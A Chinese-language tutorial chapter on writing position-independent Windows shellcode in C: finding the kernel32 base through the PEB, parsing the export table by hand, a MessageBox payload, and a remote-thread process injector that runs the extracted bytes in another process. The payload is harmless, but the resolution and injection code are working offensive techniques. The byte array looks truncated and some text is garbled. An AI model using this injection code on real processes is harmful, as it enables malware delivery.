1.8 运用C编写ShellCode代码

在笔者前几篇文章中 , 我们使用汇编语言并通过自定位的方法实现了一个简单的弹窗功能,但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底,还需要写出更多的指令集,这对于普通人来说是非常困难的,当然除了通过汇编来实现的编写以外,使用C同样可以实现编写,在多数情况下读者可以直接使用C开发,只有某些环境下对条件有极为苛刻的长度限制时才会考虑使用汇编 。
相较于汇编语言,使用C编写可以更加方便、高效,特别是对于需要大量计算的操作 。在编写时,读者需要注意以下几点:
首先读者应自行新建一个开发项目,并将编译模式调整为模式,这是因为Debug模式下的代码在转换成汇编后首先都是一个JMP指令,然后再跳到我们的功能代码处 , 但JMP指令是地址相关的,所以在转换成时就会出错 。此外在读者新建项目文件时请最好使用*.c结尾而不要使用*.cpp结尾 。
当读者新建文件以后,接下来请修改配置属性,将运行库修改为多线程(MT)并关闭安全检查机制,如下图所示;
接着在连接器部分,新增一个入口点,默认的Main入口点显然时不能使用的,如下图所示;
与前几章中的内容原理一致 , 首先我们需要得到.dll模块的基址,这段代码我们依然采用汇编实现,这里需要注意(naked)的含义,该声明是微软编译器提供的一个扩展,它用于指示编译器不要为函数自动生成函数头和尾,并将函数转化为裸函数 。这种函数不会自动生成函数前缀和后缀的代码,也不会创建任何本地变量或保护寄存器 。
在使用(naked)声明的函数中,开发者需要自己手动管理堆栈和调用函数的传递参数,然后在函数体中使用汇编指令实现所需的功能 。使用(naked)声明的函数可以有效地减小生成的代码大?。?因为不需要在函数前后添加额外的代码,而且可以精确控制函数内部的代码 。
注意:使用(naked)声明的函数需要开发者对汇编语言有一定的了解,否则容易出现错误 。在使用时,需要非常小心,确保在函数内部正确地管理堆栈和传递参数,以确保函数能够正常工作 。
// ----------------------------------------------// 32位获取模块基址// ----------------------------------------------__declspec(naked) DWORD getKernel32(){__asm{mov eax, fs: [30h]mov eax, [eax + 0ch]mov eax, [eax + 14h]mov eax, [eax]mov eax, [eax]mov eax, [eax + 10h]ret}}// ----------------------------------------------// 64位获取模块基址// ----------------------------------------------/*.codegetKernel32 procmov rax,gs:[60h]mov rax,[rax+18h]mov rax,[rax+30h]mov rax,[rax]mov rax,[rax]mov rax,[rax+10h]retgetKernel32 endpend*/
【1.8 运用C编写ShellCode代码】当我们能够拿到.dll的模块基址时,则接下来就是通过该基址得到的模块导出表,并获取该导出表内的函数的基址,至于为什么需要这么做,在读者前面的文章中有详细的分析,这里就不再重复叙述 。
// ----------------------------------------------// 32位取函数地址// ----------------------------------------------FARPROC getProcAddress(HMODULE hModuleBase){PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size){return NULL;}if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){return NULL;}PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);DWORD dwLoop = 0;FARPROC pRet = NULL;for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++){char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);if (pFunName[0] == 'G' &&pFunName[1] == 'e' &&pFunName[2] == 't' &&pFunName[3] == 'P' &&pFunName[4] == 'r' &&pFunName[5] == 'o' &&pFunName[6] == 'c' &&pFunName[7] == 'A' &&pFunName[8] == 'd' &&pFunName[9] == 'd' &&pFunName[10] == 'r' &&pFunName[11] == 'e' &&pFunName[12] == 's' &&pFunName[13] == 's'){pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);break;}}return pRet;}// ----------------------------------------------// 64位取函数地址// ----------------------------------------------/*FARPROC getProcAddress(HMODULE hModuleBase){PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size){return NULL;}if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){return NULL;}PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);PDWORDlpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);DWORD dwLoop = 0;FARPROC pRet = NULL;for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++){char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);if (pFunName[0] == 'G' &&pFunName[1] == 'e' &&pFunName[2] == 't' &&pFunName[3] == 'P' &&pFunName[4] == 'r' &&pFunName[5] == 'o' &&pFunName[6] == 'c' &&pFunName[7] == 'A' &&pFunName[8] == 'd' &&pFunName[9] == 'd' &&pFunName[10] == 'r' &&pFunName[11] == 'e' &&pFunName[12] == 's' &&pFunName[13] == 's'){pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);break;}}return pRet;}*/
接着我们需要编写主代码逻辑,主代码逻辑中使用和来加载.dll并调用其中的函数弹出一个消息框的示例 。
下面是代码的详细实现流程:
#include FARPROC getProcAddress(HMODULE hModuleBase);DWORD getKernel32();// extern "C" PVOID64getKernel32();// ----------------------------------------------// 32位主函数// ----------------------------------------------int EntryMain(){// 定义指针,用于存储GetProcAddress入口地址typedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());// 定义指针,用于存储LoadLibraryW入口地址typedef HMODULE(WINAPI* FN_LoadLibraryW)(_In_ LPCWSTR lpLibFileName);char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);// 定义指针,用于存储MessageBoxW入口地址typedef int (WINAPI* FN_MessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);// 此处用于设置MessageBoxW弹窗的文本内容wchar_t MsgBox[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h','a','r','k', 0 };wchar_t Title[] = { 'T', 'E', 'S', 'T', 0 };fn_MessageBoxW(NULL, MsgBox, Title, NULL);return 0;}// ----------------------------------------------// 64位主函数// ----------------------------------------------/*int EntryMain(){typedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());typedef HMODULE(WINAPI* FN_LoadLibraryW)(_In_ LPCWSTR lpLibFileName);char xyLoadLibraryW[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0 };FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);typedef int (WINAPI* FN_MessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);wchar_t xy_user32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };char xy_MessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0 };FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);wchar_t xy_Hello[] = { 'H', 'e', 'l', 'l', 'o', 'L', 'y', 'S', 'h', 'a', 'r', 'k', 0 };wchar_t xy_tip[] = { 'T', 'E', 'S', 'T', 0 };fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);return 0;}*/
至此读者需要手动编译上述代码 , 当编译通过之后,请打开工具 , 并定位到的开头位置,如下图所示则是我们需要提取的指令集;
选中这片区域,并右键点击编辑按钮,找到复制,C源码格式,此时读者即可得到一个完整的源代码格式;
至此读者只需要一个注入器用于测试代码的完善性,此处是简单实现的一个注入器,代码中是我们上图中提取出来的片段,读者需要修改为任意一个32位应用程序,并运行注入即可;
#include #include using namespace std;unsigned char shellcode[450] ={0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xE8, 0xD2, 0x00, 0x00, 0x00, 0x8B, 0xC8,0xE8, 0xEB, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0xC7, 0x45, 0xD8, 0x4C, 0x6F, 0x61, 0x64, 0x8D, 0x45,0xD8, 0xC7, 0x45, 0xDC, 0x4C, 0x69, 0x62, 0x72, 0x50, 0xC7, 0x45, 0xE0, 0x61, 0x72, 0x79, 0x57,0xC6, 0x45, 0xE4, 0x00, 0xE8, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xD6, 0x33, 0xC9, 0xC7, 0x45,0xC0, 0x75, 0x00, 0x73, 0x00, 0x66, 0x89, 0x4D, 0xD4, 0x8D, 0x4D, 0xE8, 0x51, 0x8D, 0x4D, 0xC0,0x5D, 0xC3};int main(int argc, char *argv[]){DWORD targetPid = 2816;HANDLE h_target = NULL;LPVOID p_base = NULL;HANDLE h_thread = NULL;h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);if (h_target == NULL){goto main_end;}p_base = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (p_base == NULL){goto main_end;}if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {goto main_end;}h_thread = CreateRemoteThread(h_target, 0, 0, (LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);if (h_thread == NULL){goto main_end;}main_end:if (h_target)CloseHandle(h_target);if (h_thread)CloseHandle(h_thread);getchar();return 0;}
如果一切顺利,则读者可看到这段已经在特定进程内实现运行了,并输出了如下图所示的弹窗提示;